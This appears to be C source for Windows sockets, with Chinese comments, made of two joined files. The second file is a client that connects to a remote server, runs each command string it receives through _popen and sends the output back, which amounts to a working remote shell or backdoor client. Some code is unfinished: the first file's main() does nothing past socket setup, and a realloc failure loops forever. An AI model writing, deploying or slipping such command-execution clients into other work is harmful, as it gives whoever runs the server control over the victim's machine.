#include <WS2tcpip.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32.lib")
// 使用预定义的宏打印文件名、函数名和行号
#define PRINT_DEBUG_INFO() \
printf("文件: %s, 函数: %s, 行号: %d, 错误码:%d\n", __FILE__, __FUNCTION__, __LINE__ , WSAGetLastError())
void Wsacleanup() {
if (WSACleanup() == SOCKET_ERROR) {
PRINT_DEBUG_INFO();
}
else {
printf("WSACleanup已关闭.\n");
}
}
void CloseSocket(SOCKET sock)
{
if (closesocket(sock) == SOCKET_ERROR)
{
PRINT_DEBUG_INFO();
}
else
{
printf("套接字已关闭.\n");
}
}
SOCKET InitSocket() {
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0) {
PRINT_DEBUG_INFO();
return 0;
}
SOCKET fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == INVALID_SOCKET) {
PRINT_DEBUG_INFO();
Wsacleanup();
return 0;
}
return fd;
}
void InitAddr(struct sockaddr_in *addr, int port, const char *ip_address)
{
memset(addr, 0, sizeof(struct sockaddr_in));
// 编程为IPv4
addr->sin_family = AF_INET;
// 设置端口
addr->sin_port = htons(port);
// 设置IP
//addr->sin_addr.s_addr = inet_addr(ip_address);
if (inet_pton(AF_INET, ip_address, &(addr->sin_addr)) <= 0) {
printf("Invalid address/ Address not supported\n");
}
}
int main() {
unsigned short port = 9999;
SOCKET fd = InitSocket();
if (!fd)
{
return 0;
}
}
#include "socket.h"
#include <WinSock2.h>
#include <WS2tcpip.h>
#include <stdio.h>
// VS2017编译
#pragma comment(lib,"ws2_32.lib")
int init_Socket()
{
WSADATA WSAData;
if (WSAStartup(MAKEWORD(2, 0), &WSAData) != 0)
{
printf("Winsock initialization failed: %s %d %s\n", __FILE__, __LINE__, __FUNCTION__);
return 0;
}
return 1;
}
// 创建服务器 socket
uint64 create_socket() {
uint64 fd = socket(AF_INET, SOCK_STREAM, 0);
if (fd == -1) {
printf("Socket creation failed %d :%s %d %s\n", WSAGetLastError(), __FILE__, __LINE__, __FUNCTION__);
WSACleanup();
return 0;
}
return fd;
}
void init_Sock_addr(struct sockaddr_in *addr, int port, const char *ip_address)
{
memset(addr, 0, sizeof(struct sockaddr_in));
// 编程为IPv4
addr->sin_family = AF_INET;
// 设置端口
addr->sin_port = htons(port);
// 设置IP
//addr->sin_addr.s_addr = inet_addr(ip_address);
if (inet_pton(AF_INET, ip_address, &(addr->sin_addr)) <= 0) {
printf("Invalid address/ Address not supported\n");
}
}
int connect_to_server(uint64 fd, int port, const char* ip)
{
struct sockaddr_in server_addr;
init_Sock_addr(&server_addr, port, ip);
int ret = connect(fd, (const struct sockaddr*)&server_addr, sizeof(server_addr));
if (ret != 0)
{
printf("Connect failed %d : %s %d %s \n", WSAGetLastError(), __FILE__, __LINE__, __FUNCTION__);
return 0;
}
return 1;
}
int Recv(uint64 fd, char* buffer, int size)
{
int readBytes = recv(fd, buffer, size, 0);
if (readBytes == 0)
{
printf("对方主动断开了连接...\n");
return 0;
}
else if (readBytes == SOCKET_ERROR)
{
printf("接收错误 %d : %s %d %s \n", WSAGetLastError(), __FILE__, __LINE__, __FUNCTION__);
return -1;
}
return 1;
}
int Send(uint64 fd, char* buffer, int size)
{
if (size == 0)
{
printf("发送大小错误。。。: %s %d %s \n", __FILE__, __LINE__, __FUNCTION__);
return 0;
}
int ret = send(fd, buffer, size, 0);
if (ret == SOCKET_ERROR)
{
printf("发送错误 %d : %s %d %s \n", WSAGetLastError(), __FILE__, __LINE__, __FUNCTION__);
return -1;
}
return 1;
}
char* executeCommand(const char *cmd, int *totalSize) {
int bufferSize = 1024;
char *output = (char*)malloc(bufferSize);
char *tempOutput = NULL;
char recv_data[1024] = { 0 };
FILE *fp = _popen(cmd, "r");
*totalSize = 0;
while (fgets(recv_data, sizeof(recv_data), fp) != NULL)
{
int len = (int)strlen(recv_data);
if (*totalSize + len > bufferSize)
{
bufferSize = *totalSize + len;
while ((tempOutput = realloc(output, bufferSize)) == NULL)
{
perror("Failed to allocate memory");
}
output = tempOutput;
memset(output + *totalSize, 0, bufferSize - *totalSize);
}
memcpy(output + *totalSize, recv_data, len);
*totalSize += len;
memset(recv_data, 0, sizeof(recv_data));
}
_pclose(fp);
return output;
}
void sendMessage(uint64 fd, char *output, int totalSize) {
int count = (totalSize / 1024) + (totalSize % 1024 != 0 ? 1 : 0);
char send_buf[1024] = { 0 };
message MsgInfo;
MsgInfo.count = count;
MsgInfo.Size = totalSize;
memcpy(send_buf, &MsgInfo, sizeof(message));
Send(fd, send_buf, sizeof(message));
for (int i = 0; i < count; i++) {
int send_size = (i == count - 1 && totalSize % 1024 != 0) ? totalSize % 1024 : 1024;
Send(fd, output + i * 1024, send_size);
}
}
void Cmd(uint64 fd)
{
char buf[1024] = { 0 };
int ret = 0;
ret = Recv(fd, buf, sizeof(buf));
if (ret < 1)
{
return;
}
int totalSize = 0;
char* output = executeCommand(buf, &totalSize);
sendMessage(fd , output , totalSize);
//printf("%s\n", output);
memset(output, 0, totalSize);
// 释放内存和关闭管道
free(output);
Sleep(1);
}
void Closesocket(uint64 fd)
{
if (closesocket(fd) == SOCKET_ERROR)
{
printf("关闭套接字失败. 错误代码%d : %s %d %s \n", WSAGetLastError(), __FILE__, __LINE__, __FUNCTION__);
}
else
{
printf("套接字已关闭.\n");
}
}
void Wsacleanup()
{
WSACleanup();
}